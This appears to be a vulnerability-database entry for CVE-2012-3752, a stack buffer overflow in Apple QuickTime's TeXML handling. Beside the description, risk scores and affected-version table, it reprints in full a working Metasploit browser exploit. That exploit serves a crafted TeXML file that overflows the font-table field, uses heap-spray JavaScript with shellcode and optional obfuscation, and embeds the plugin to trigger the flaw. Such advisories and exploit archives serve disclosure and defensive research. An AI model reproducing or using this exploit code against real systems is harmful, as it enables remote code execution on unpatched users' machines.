CVE-2012-3752

critical
Published 2012-11-09 ยท Modified 2026-04-29
CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Multiple buffer overflows in Apple QuickTime before 7.7.3 allow remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted style element in a QuickTime TeXML file.

Predictions

Exploit likelihood
20%
Patch ETA
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Exploits

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Exploit-DB

EDB-22905 remote windows verified ruby ยท 8 KB
Metasploit ยท 2012-11-24

Apple QuickTime 7.7.2 - TeXML Style Element font-table Field Stack Buffer Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank       => NormalRanking
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in Apple QuickTime. When handling
				a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
				gain arbitrary code execution under the context of the user.  This is due to the
				QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
				font-table field, which is used to trigger the overflow in this module. Because of
				QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
				used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
				has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
			},
			'Author'         =>
				[
					'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
					'juan vazquez' # Metasploit Module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'OSVDB', '87087' ],
					[ 'CVE', '2012-3752' ],
					[ 'BID', '56557' ],
					[ 'URL', 'http://support.apple.com/kb/HT5581' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'Space' => 1000,
				},
			'Platform' => 'win',

			'Targets'  =>
				[
					# Tested with QuickTime 7.7.2
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', {} ],
					[ 'Firefox 3.5 on Windows XP SP3', {} ],
					[ 'Firefox 3.5.1 on Windows XP SP3', {} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 07 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

		browser_name = ""
		if agent =~ /MSIE/
			browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
			browser_name = "IE #{browser_version}"
		elsif agent =~ /Firefox\/3.5$/
			browser_name = "Firefox 3.5 "
		elsif agent =~ /Firefox\/3.5.1$/
			browser_name = "Firefox 3.5.1"
		elsif agent =~ /Opera\/9/
			browser_name = "Opera"
		end

		case nt
			when '5.1'
				os_name = 'Windows XP SP3'
			when '6.0'
				os_name = 'Windows Vista'
			when '6.1'
				os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end


	def on_request_uri(client, request)

		return if ((p = regenerate_payload(client)) == nil)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		if request.uri =~ /\.3gp/
			print_status("Sending exploit TEXML (target: #{my_target.name})")

			my_payload = "1" * (1024*16)

			texml = <<-eos
<?xml version="1.0"?>
<?quicktime type="application/x-quicktime-texml"?>

<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
	language="eng" timeScale="600"
	transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
	<sample duration="2400" keyframe="true">

		<description format="tx3g" displayFlags="ScrollIn"
			horizontalJustification="Left"
			verticalJustification="Top"
			backgroundColor="0%, 0%, 0%, 100%">

			<defaultTextBox x="0" y="0" width="176"  height="60"/>
			<fontTable>
				<font id="1" name="Times"/>
			</fontTable>

			<sharedStyles>
			<style id="1">
				{font-table: #{my_payload}}
				{font-style:normal}
				{font-weight: normal}
				{font-size:  10}
				{line-height: 100%}
				{text-align: right}
				{text-decoration: underline}
				{color: 100%, 100%, 100%, 100%}
				{backgroundcolor: 100%, 100%, 100%, 100%}
			</style>
			</sharedStyles>
		</description>

		<sampleData scrollDelay="200"
			highlightColor="25%, 45%, 65%, 100%"
			targetEncoding="utf8">

			<textBox x="10" y="10" width="156"  height="40"/>
				<text styleID="1">What you need... Metasploit!</text>
				<highlight startMarker="1" endMarker="2"/>
				<blink startMarker="3" endMarker="4"/>
		</sampleData>
	</sample>
</text3GTrack>
			eos

			send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })

		else
			print_status("Sending initial HTML")

			url =  ((datastore['SSL']) ? "https://" : "http://")
			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
			url << ":" + datastore['SRVPORT'].to_s
			url << get_resource

			fname = rand_text_alphanumeric(4)

			#ARCH used by the victim machine
			arch = Rex::Arch.endian(my_target.arch)
			nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
			code = Rex::Text.to_unescape(payload.encoded, arch)

			# Spray puts payload on 0x31313131
			if my_target.name =~ /IE/
				spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{code}");
var nops = unescape("#{nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, 0x800 - code.length);
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();
for (var i=0; i < 1600; i++) {
	heap_obj.alloc(block);
}
				JS

				#Use heaplib
				js_spray = heaplib(spray)

				#obfuscate on demand
				if datastore['OBFUSCATE']
					js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
					js_spray.obfuscate
				end
			else
				js_spray = <<-JS
var shellcode = unescape("#{code}");
var bigblock = unescape("#{nops}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
				JS
			end

			content =  "<html>"
			content << <<-JSPRAY
<head>
<script>
#{js_spray}
</script>
</head>
			JSPRAY
			content << "<body>"

			content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.3gp">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.3gp">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
	SRC        = "#{url}/#{fname}.3gp"
	QTSRC      = "#{url}/#{fname}.3gp"
	TARGET     = "myself"
	WIDTH      = "1"
	HEIGHT     = "1"
	AUTOPLAY   = "true"
	PLUGIN     = "quicktimeplugin"
	TYPE       = "video/quicktime"
	CACHE      = "false"
	PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
				ENDEMBED

			content << "</body></html>"

			send_response(client, content, { 'Content-Type' => "text/html" })
		end
	end

end


=begin
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)

int __fastcall sub_67EED2B0(int a1, int a2)
{
  int result; // eax@1
  unsigned __int8 v3; // cl@2

  for ( result = 0; ; ++result )
  {
    v3 = *(_BYTE *)a2++ - 0x30;
    if ( v3 > 9u )
      break;
  }
  return result;
}
=end

Metasploit modules

Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow
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Application impact

VendorProductVersionsFixed
macos applequicktime{"endIncluding":"7.7.2"}
macos applequicktime3.0
macos applequicktime4.1.2
macos applequicktime5.0
macos applequicktime5.0.1
macos applequicktime5.0.2
macos applequicktime6.0
macos applequicktime6.0.0
macos applequicktime6.0.1
macos applequicktime6.0.2
macos applequicktime6.1
macos applequicktime6.1.1
macos applequicktime6.2.0
macos applequicktime6.3.0
macos applequicktime6.4.0
macos applequicktime6.5
macos applequicktime6.5.0
macos applequicktime6.5.1
macos applequicktime6.5.2
macos applequicktime7.0.0
macos applequicktime7.0.1
macos applequicktime7.0.2
macos applequicktime7.0.3
macos applequicktime7.0.4
macos applequicktime7.1.0
macos applequicktime7.1.1
macos applequicktime7.1.2
macos applequicktime7.1.3
macos applequicktime7.1.4
macos applequicktime7.1.5
macos applequicktime7.1.6
macos applequicktime7.2.0
macos applequicktime7.2.1
macos applequicktime7.3.0
macos applequicktime7.3.1
macos applequicktime7.3.1.70
macos applequicktime7.4.0
macos applequicktime7.4.1
macos applequicktime7.4.5
macos applequicktime7.5.0
macos applequicktime7.5.5
macos applequicktime7.6.0
macos applequicktime7.6.1
macos applequicktime7.6.2
macos applequicktime7.6.5
macos applequicktime7.6.6
macos applequicktime7.6.7
macos applequicktime7.6.8
macos applequicktime7.6.9
macos applequicktime7.7.0
macos applequicktime7.7.1

References

CWEs

CWE-119

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